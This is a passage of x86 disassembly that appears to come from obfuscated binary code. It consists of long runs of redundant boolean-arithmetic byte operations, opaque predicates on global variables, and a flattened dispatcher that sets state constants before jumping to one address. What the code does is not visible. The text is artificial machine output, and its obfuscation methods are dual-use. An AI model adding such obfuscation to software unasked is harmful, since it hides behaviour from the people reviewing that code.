or cl, al
mov al, byte [ebp - 0x317]
or al, 0
xor cl, 0xff
and cl, al
mov al, bh
and al, ah
xor bh, ah
or al, bh
mov ah, byte [ebp - 0x315]
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x318], al
mov al, bl
xor al, 1
mov byte [ebp - 0x319], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x31a], al
mov al, byte [ebp - 0x315]
mov byte [ebp - 0x31b], cl
mov cl, byte [ebp - 0x319]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x31c], al
mov al, byte [ebp - 0x31b]
mov byte [ebp - 0x31d], cl
mov cl, byte [ebp - 0x319]
and al, cl
mov cl, byte [ebp - 0x31a]
mov byte [ebp - 0x31e], al
mov al, byte [ebp - 0x31c]
or cl, al
mov al, byte [ebp - 0x31d]
mov byte [ebp - 0x31f], cl
mov cl, byte [ebp - 0x31e]
or al, cl
mov cl, byte [ebp - 0x31f]
xor cl, al
or ah, bh
xor ah, 0xff
mov al, byte [ebp - 0x319]
or al, 1
and ah, al
or cl, ah
mov al, byte [ebp - 0x318]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x318]
and al, cl
or ah, al
mov al, byte [ebp - 0x309]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x320], al
and al, 0xff
mov byte [ebp - 0x321], al
mov al, byte [ebp - 0x309]
and al, bh
mov byte [ebp - 0x322], al
mov al, cl
and al, 0xff
and ch, bh
mov byte [ebp - 0x323], al
mov al, byte [ebp - 0x321]
mov byte [ebp - 0x324], cl
mov cl, byte [ebp - 0x322]
or al, cl
mov cl, byte [ebp - 0x323]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x320]
mov ch, byte [ebp - 0x324]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
and al, bh
mov ch, bl
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
or ch, bh
xor cl, ch
mov al, byte [ebp - 0x30c]
and al, 0
mov ch, byte [ebp - 0x30c]
xor ch, 0
or al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x325], al
and al, 0xff
and ah, bh
mov byte [ebp - 0x326], al
mov al, cl
and al, 0xff
and ch, bh
mov byte [ebp - 0x327], al
mov al, byte [ebp - 0x326]
or al, ah
mov ah, byte [ebp - 0x327]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x325]
or ah, cl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov ch, al
and ch, ah
mov bh, bl
xor bh, 1
and bh, 0
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, bl
xor ah, 0
and ah, 1
mov ch, bl
xor ch, 1
and ch, 0
or ah, ch
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov bh, bl
xor bh, 0
or al, ch
or bh, 0
xor al, 0xff
and al, bh
mov ch, bl
xor ch, 1
and ch, 1
mov bh, bl
xor bh, 1
and bh, 1
or ch, bh
xor ch, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x328], al
mov al, bl
xor al, 0
or ch, bh
or al, 0
xor ch, 0xff
and ch, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
xor al, 0xff
mov bh, byte [ebp - 0x328]
xor bh, 0xff
mov byte [ebp - 0x329], al
mov al, bl
xor al, 0
mov byte [ebp - 0x32a], al
mov al, byte [ebp - 0x329]
and al, 0
mov byte [ebp - 0x32b], al
mov al, byte [ebp - 0x32a]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x32c], al
mov al, byte [ebp - 0x328]
mov byte [ebp - 0x32d], cl
mov cl, byte [ebp - 0x32a]
and al, cl
mov cl, byte [ebp - 0x32b]
mov byte [ebp - 0x32e], al
mov al, byte [ebp - 0x32d]
or cl, al
mov al, byte [ebp - 0x32c]
mov byte [ebp - 0x32f], cl
mov cl, byte [ebp - 0x32e]
or al, cl
mov cl, byte [ebp - 0x32f]
xor cl, al
mov al, byte [ebp - 0x329]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x32a]
or bh, 0
and al, bh
or cl, al
mov al, ch
and al, ah
xor ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
mov ch, al
and ch, ah
xor al, 0xff
and cl, al
or ch, cl
mov al, byte [ebp - 0x281]
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, bl
xor cl, 1
and cl, 0
mov ah, bl
xor ah, 0
mov bh, ah
and bh, 1
mov byte [ebp - 0x330], al
mov al, byte [ebp - 0x281]
xor al, 0xff
and al, 0
mov byte [ebp - 0x331], al
mov al, byte [ebp - 0x281]
and al, ah
or cl, bh
mov ah, byte [ebp - 0x331]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x330]
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x332], al
and al, 0
mov byte [ebp - 0x333], al
mov al, byte [ebp - 0x330]
and al, bh
mov byte [ebp - 0x334], al
mov al, ah
and al, 0
and cl, bh
mov byte [ebp - 0x335], al
mov al, byte [ebp - 0x333]
mov byte [ebp - 0x336], cl
mov cl, byte [ebp - 0x334]
or al, cl
mov cl, byte [ebp - 0x335]
mov byte [ebp - 0x337], al
mov al, byte [ebp - 0x336]
or cl, al
mov al, byte [ebp - 0x337]
xor al, cl
mov cl, byte [ebp - 0x332]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
and ch, ah
mov bh, bl
xor bh, 1
and bh, 0
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, bl
xor ch, 0
and al, ch
mov bh, bl
xor bh, 1
and bh, 0
and ch, 1
or ah, al
or bh, ch
xor ah, bh
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
mov bh, ch
and bh, 1
mov byte [ebp - 0x338], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x339], al
mov al, byte [ebp - 0x338]
or al, bh
mov bh, byte [ebp - 0x339]
or bh, ch
xor al, bh
mov ch, cl
xor ch, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x33a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x33b], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x33c], al
mov al, byte [ebp - 0x33b]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x33d], al
mov al, byte [ebp - 0x33b]
and ah, al
mov al, byte [ebp - 0x33c]
or al, cl
mov cl, byte [ebp - 0x33d]
or cl, ah
xor al, cl
or ch, bh
xor ch, 0xff
mov cl, byte [ebp - 0x33b]
or cl, 1
and ch, cl
or al, ch
mov cl, byte [ebp - 0x33a]
and cl, 1
mov ah, byte [ebp - 0x33a]
xor ah, 1
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
and al, ch
or ah, al
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x314]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x314]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
mov bh, al
and bh, ch
mov byte [ebp - 0x33e], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, cl
xor ch, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x33f], al
mov al, bl
xor al, 1
or ch, bh
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x314]
xor al, 0xff
mov bh, byte [ebp - 0x33f]
xor bh, 0xff
mov byte [ebp - 0x340], al
mov al, bl
xor al, 1
mov byte [ebp - 0x341], al
mov al, byte [ebp - 0x340]
or al, bh
mov bh, byte [ebp - 0x341]
or bh, 1
xor al, 0xff
and al, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x342], al
mov al, bl
xor al, 1
mov byte [ebp - 0x343], al
mov al, bl
xor al, 0
mov byte [ebp - 0x344], al
mov al, byte [ebp - 0x343]
or bh, al
mov al, byte [ebp - 0x344]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x33e]
xor al, 0xff
mov byte [ebp - 0x345], al
mov al, byte [ebp - 0x33f]
xor al, 0xff
mov byte [ebp - 0x346], al
mov al, bl
xor al, 1
mov byte [ebp - 0x347], al
mov al, byte [ebp - 0x345]
mov byte [ebp - 0x348], cl
mov cl, byte [ebp - 0x346]
or al, cl
mov cl, byte [ebp - 0x347]
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x349], al
mov al, byte [ebp - 0x342]
xor al, 0xff
mov byte [ebp - 0x34a], al
mov al, bl
xor al, 0
mov byte [ebp - 0x34b], al
mov al, cl
and al, 0
mov byte [ebp - 0x34c], al
mov al, byte [ebp - 0x34b]
and ch, al
mov al, byte [ebp - 0x34a]
and al, 0
mov byte [ebp - 0x34d], al
mov al, byte [ebp - 0x342]
mov byte [ebp - 0x34e], cl
mov cl, byte [ebp - 0x34b]
and al, cl
mov cl, byte [ebp - 0x34c]
or cl, ch
mov ch, byte [ebp - 0x34d]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x34e]
mov ch, byte [ebp - 0x34a]
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0x34b]
or ch, 0
and al, ch
or cl, al
mov al, bh
mov ch, byte [ebp - 0x349]
and al, ch
xor bh, ch
or al, bh
mov bh, cl
xor bh, 0xff
mov ch, al
and ch, bh
xor al, 0xff
and cl, al
or ch, cl
mov al, byte [ebp - 0x348]
and al, ah
mov cl, byte [ebp - 0x348]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
and al, ah
mov bh, bl
xor bh, 1
and bh, 0
and ah, 1
or cl, al
or bh, ah
xor cl, bh
mov al, bl
xor al, 1
mov ah, byte [ebp - 0x33f]
xor ah, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x34f], al
and al, 0
mov byte [ebp - 0x350], al
mov al, bh
and al, 1
mov byte [ebp - 0x351], al
mov al, ah
and al, 0
mov byte [ebp - 0x352], al
mov al, byte [ebp - 0x33f]
and al, bh
mov byte [ebp - 0x353], al
mov al, byte [ebp - 0x350]
mov byte [ebp - 0x354], cl
mov cl, byte [ebp - 0x351]
or al, cl
mov cl, byte [ebp - 0x352]
mov byte [ebp - 0x355], al
mov al, byte [ebp - 0x353]
or cl, al
mov al, byte [ebp - 0x355]
xor al, cl
mov cl, byte [ebp - 0x34f]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x354]
xor cl, 0xff
xor al, 0xff
mov ah, bl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, ch
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor bl, 1
mov bh, al
and bh, 0xff
and ch, bl
mov byte [ebp - 0x356], al
mov al, ah
and al, 0xff
and cl, bl
or bh, ch
or al, cl
xor bh, al
mov al, byte [ebp - 0x356]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
test bh, 1
mov esi, dword [ebp - 0x268]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov dword [ebp - 0x28], 0x18945d52
jmp 0x477f7c
mov eax, 0x31ab9227
mov ecx, 0x9cf2b50
mov dl, 1
xor esi, esi
mov edi, 0xd3a4309d
mov ebx, dword [0x4ac094]
mov dword [ebp - 0x35c], eax
mov eax, dword [0x4ac098]
add edi, 0
sub edi, 1
sub edi, 0xd3a4309d
mov dword [ebp - 0x360], eax
mov eax, esi
sub eax, 0
mov dword [ebp - 0x364], eax
mov eax, esi
sub eax, edi
mov edi, dword [ebp - 0x364]
add edi, eax
mov eax, esi
sub eax, edi
mov edi, ebx
add edi, 0x328c60fc
sub edi, 0x1e227f7e
sub edi, 0x328c60fc
mov dword [ebp - 0x368], eax
mov eax, esi
mov dword [ebp - 0x36c], ecx
mov ecx, dword [ebp - 0x368]
sub eax, ecx
sub edi, eax
sub esi, 0x1e227f7e
sub edi, esi
imul ebx, edi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x360]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dh
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
mov ah, ch
xor ah, cl
and ah, ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 0
xor cl, 0xff
mov bl, dl
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, dl
xor cl, 0
and cl, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x36d], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
xor dh, 0xff
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, 0
or dh, al
or bl, 0
xor dh, 0xff
and dh, bl
mov al, byte [ebp - 0x36d]
xor al, 0xff
and al, 0
mov bl, dl
xor bl, 0
mov bh, byte [ebp - 0x36d]
and bh, bl
mov byte [ebp - 0x36e], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x36f], al
mov al, byte [ebp - 0x36e]
or al, bh
mov bh, byte [ebp - 0x36f]
or bh, bl
xor al, bh
mov bl, dl
xor bl, 0
mov bh, al
xor bh, bl
and bh, al
xor cl, 0xff
mov al, byte [ebp - 0x36d]
xor al, cl
mov cl, byte [ebp - 0x36d]
and al, cl
mov bl, ch
and bl, dh
xor ch, dh
or bl, ch
mov ch, bh
xor ch, 0xff
mov dh, al
xor dh, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x370], al
mov al, ch
and al, 0xff
and bh, cl
mov byte [ebp - 0x371], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x372], al
mov al, byte [ebp - 0x370]
and al, cl
mov byte [ebp - 0x373], al
mov al, byte [ebp - 0x371]
or al, bh
mov bh, byte [ebp - 0x372]
mov byte [ebp - 0x374], al
mov al, byte [ebp - 0x373]
or bh, al
mov al, byte [ebp - 0x374]
xor al, bh
or ch, dh
xor ch, 0xff
or cl, 1
and ch, cl
or al, ch
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and bl, ch
mov dh, al
xor dh, 0xff
and dh, 0xff
and al, ch
or cl, bl
or dh, al
xor cl, dh
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, ah
xor al, 0xff
and al, 1
xor dl, 1
and ah, dl
mov dh, cl
xor dh, 0xff
and dh, 0xff
and cl, dl
or al, ah
or dh, cl
xor al, dh
mov cl, ch
and cl, al
xor ch, al
or cl, ch
test cl, 1
mov esi, dword [ebp - 0x35c]
mov edi, dword [ebp - 0x36c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov eax, 0x31ab9227
mov ecx, 0x457a3973
mov dl, 1
xor esi, esi
mov edi, 0xed744d0d
mov ebx, dword [0x4ac094]
mov dword [ebp - 0x378], eax
mov eax, dword [0x4ac098]
mov dword [ebp - 0x37c], eax
mov eax, esi
sub eax, ebx
mov dword [ebp - 0x380], eax
mov eax, esi
sub eax, 0x6ea3d82f
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x388], ecx
mov ecx, dword [ebp - 0x384]
add eax, ecx
mov ecx, esi
sub ecx, eax
add ecx, 0x99f54f05
add ecx, 0xa3bc7f8c
sub ecx, 0x99f54f05
mov eax, esi
sub eax, 0x6ea3d82f
add ecx, eax
add edi, 0
sub edi, 1
sub edi, 0xed744d0d
add ecx, 0x19f74ed1
add ecx, edi
sub ecx, 0x19f74ed1
mov eax, esi
sub eax, 0x4c9a9a99
sub eax, 0xa3bc7f8c
add eax, 0x4c9a9a99
sub esi, eax
sub ecx, esi
imul ebx, ecx
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x37c]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, ah
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x389], al
mov al, bh
and al, 1
mov byte [ebp - 0x38a], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x38b], al
mov al, byte [ebp - 0x38a]
or ch, al
mov al, byte [ebp - 0x38b]
or al, bh
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 1
mov bh, dl
xor bh, 1
or ch, al
or bh, 1
xor ch, 0xff
and ch, bh
mov al, dl
xor al, 1
xor ah, 0xff
mov bh, dl
xor bh, 1
or al, ah
or bh, 1
xor al, 0xff
and al, bh
mov ah, cl
and ah, bl
xor cl, bl
or ah, cl
mov cl, ch
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x38c], al
mov al, cl
and al, 0xff
and ch, bh
mov byte [ebp - 0x38d], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x38e], al
mov al, byte [ebp - 0x38c]
and al, bh
mov byte [ebp - 0x38f], al
mov al, byte [ebp - 0x38d]
or al, ch
mov ch, byte [ebp - 0x38e]
mov byte [ebp - 0x390], al
mov al, byte [ebp - 0x38f]
or ch, al
mov al, byte [ebp - 0x390]
xor al, ch
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and ah, ch
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ch
or cl, ah
or bl, al
xor cl, bl
mov al, byte [ebp - 0x389]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x389]
and ch, ah
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, byte [ebp - 0x389]
xor ch, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 0
or ch, ah
or bl, 0
xor ch, 0xff
and ch, bl
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov bh, cl
and bh, ch
or al, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bh, dl
xor bh, 1
and bh, 1
or ch, bh
mov bh, dl
xor bh, 1
and bh, 0
mov byte [ebp - 0x391], al
mov al, dl
xor al, 0
mov byte [ebp - 0x392], al
and al, 1
mov byte [ebp - 0x393], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x394], al
mov al, byte [ebp - 0x392]
and al, 1
mov byte [ebp - 0x395], al
mov al, byte [ebp - 0x393]
or bh, al
mov al, byte [ebp - 0x394]
mov byte [ebp - 0x396], cl
mov cl, byte [ebp - 0x395]
or al, cl
xor bh, al
mov al, byte [ebp - 0x391]
and al, ch
mov cl, byte [ebp - 0x391]
xor cl, ch
or al, cl
mov cl, bh
and cl, 1
xor bh, 1
or cl, bh
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
and al, bh
mov byte [ebp - 0x397], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x398], al
mov al, byte [ebp - 0x397]
or ch, al
mov al, byte [ebp - 0x398]
or al, bh
xor ch, al
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and dh, ch
or cl, dh
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
or ch, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x399], al
mov al, bh
and al, 1
mov byte [ebp - 0x39a], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x39b], al
mov al, byte [ebp - 0x39a]
or dh, al
mov al, byte [ebp - 0x39b]
or al, bh
xor dh, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
xor cl, 1
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x39c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x39d], al
mov al, bh
and al, 1
mov byte [ebp - 0x39e], al
mov al, ch
and al, 0xff
and dh, bh
mov byte [ebp - 0x39f], al
mov al, byte [ebp - 0x39d]
mov byte [ebp - 0x3a0], cl
mov cl, byte [ebp - 0x39e]
or al, cl
mov cl, byte [ebp - 0x39f]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3a0]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x39c]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x39c]
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov dh, ah
and dh, cl
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, dh
or bh, cl
xor al, bh
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
mov bh, dh
and bh, 1
mov byte [ebp - 0x3a1], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0x3a1]
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x3a2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a3], al
mov al, dh
and al, 0
mov byte [ebp - 0x3a4], al
mov al, byte [ebp - 0x3a1]
mov byte [ebp - 0x3a5], cl
mov cl, byte [ebp - 0x3a3]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x3a6], al
mov al, byte [ebp - 0x3a5]
mov byte [ebp - 0x3a7], cl
mov cl, byte [ebp - 0x3a3]
and al, cl
mov cl, byte [ebp - 0x3a4]
mov byte [ebp - 0x3a8], al
mov al, byte [ebp - 0x3a6]
or cl, al
mov al, byte [ebp - 0x3a7]
mov byte [ebp - 0x3a9], cl
mov cl, byte [ebp - 0x3a8]
or al, cl
mov cl, byte [ebp - 0x3a9]
xor cl, al
or dh, bh
xor dh, 0xff
mov al, byte [ebp - 0x3a3]
or al, 0
and dh, al
or cl, dh
mov al, dl
xor al, 1
mov dh, byte [ebp - 0x3a2]
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3aa], al
and al, 0xff
mov byte [ebp - 0x3ab], al
mov al, bh
and al, 1
mov byte [ebp - 0x3ac], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x3ad], al
mov al, byte [ebp - 0x3a2]
and al, bh
mov byte [ebp - 0x3ae], al
mov al, byte [ebp - 0x3ab]
mov byte [ebp - 0x3af], cl
mov cl, byte [ebp - 0x3ac]
or al, cl
mov cl, byte [ebp - 0x3ad]
mov byte [ebp - 0x3b0], al
mov al, byte [ebp - 0x3ae]
or cl, al
mov al, byte [ebp - 0x3b0]
xor al, cl
mov cl, byte [ebp - 0x3aa]
or cl, dh
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x3af]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x3af]
and bh, dh
or cl, bh
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or cl, al
or dh, 1
xor cl, 0xff
and cl, dh
mov al, bl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
or al, bh
mov dh, byte [ebp - 0x389]
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3b1], al
mov al, byte [ebp - 0x389]
and al, bh
mov byte [ebp - 0x3b2], al
mov al, byte [ebp - 0x3b1]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x3b3], al
mov al, byte [ebp - 0x3b1]
and al, bh
mov bh, byte [ebp - 0x3b2]
or dh, bh
mov bh, byte [ebp - 0x3b3]
or bh, al
xor dh, bh
xor dh, 0xff
mov al, byte [ebp - 0x389]
xor al, 0xff
mov bh, dl
xor bh, 1
or dh, al
or bh, 1
xor dh, 0xff
and dh, bh
mov al, byte [ebp - 0x399]
xor al, 0xff
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3b4], al
mov al, byte [ebp - 0x399]
and al, bh
mov byte [ebp - 0x3b5], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x3b6], al
mov al, byte [ebp - 0x3b4]
mov byte [ebp - 0x3b7], cl
mov cl, byte [ebp - 0x3b5]
or al, cl
mov cl, byte [ebp - 0x3b6]
or cl, bh
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3b8], al
mov al, ch
and al, bh
mov byte [ebp - 0x3b9], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x3ba], al
mov al, byte [ebp - 0x3b9]
or cl, al
mov al, byte [ebp - 0x3ba]
or al, bh
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3bb], al
mov al, bh
and al, 1
mov byte [ebp - 0x3bc], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3bd], al
mov al, byte [ebp - 0x3bb]
mov byte [ebp - 0x3be], cl
mov cl, byte [ebp - 0x3bc]
or al, cl
mov cl, byte [ebp - 0x3bd]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x3b8]
xor cl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3bf], al
mov al, dl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x399]
xor al, 0xff
mov bh, byte [ebp - 0x3bf]
xor bh, 0xff
mov byte [ebp - 0x3c0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3c1], al
mov al, byte [ebp - 0x3c0]
or al, bh
mov bh, byte [ebp - 0x3c1]
or bh, 0
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x3be]
xor bh, 0xff
mov byte [ebp - 0x3c2], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3c3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3c4], al
mov al, byte [ebp - 0x3c3]
or bh, al
mov al, byte [ebp - 0x3c4]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x3bf]
xor al, 0xff
mov byte [ebp - 0x3c5], al
mov al, ch
mov byte [ebp - 0x3c6], cl
mov cl, byte [ebp - 0x3c5]
xor al, cl
and al, ch
mov cl, byte [ebp - 0x3c6]
mov ch, byte [ebp - 0x3c2]
and cl, ch
mov ch, byte [ebp - 0x3c6]
mov byte [ebp - 0x3c7], al
mov al, byte [ebp - 0x3c2]
xor ch, al
or cl, ch
mov ch, bh
mov al, byte [ebp - 0x3c7]
and ch, al
xor bh, al
or ch, bh
mov bh, cl
xor bh, 0xff
and bh, 0
mov al, dl
xor al, 0
and cl, al
mov byte [ebp - 0x3c8], al
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0x3c9], al
mov al, byte [ebp - 0x3c8]
and ch, al
or bh, cl
mov cl, byte [ebp - 0x3c9]
or cl, ch
xor bh, cl
mov cl, byte [ebp - 0x3b8]
mov ch, byte [ebp - 0x3be]
and cl, ch
mov al, byte [ebp - 0x3b8]
xor al, ch
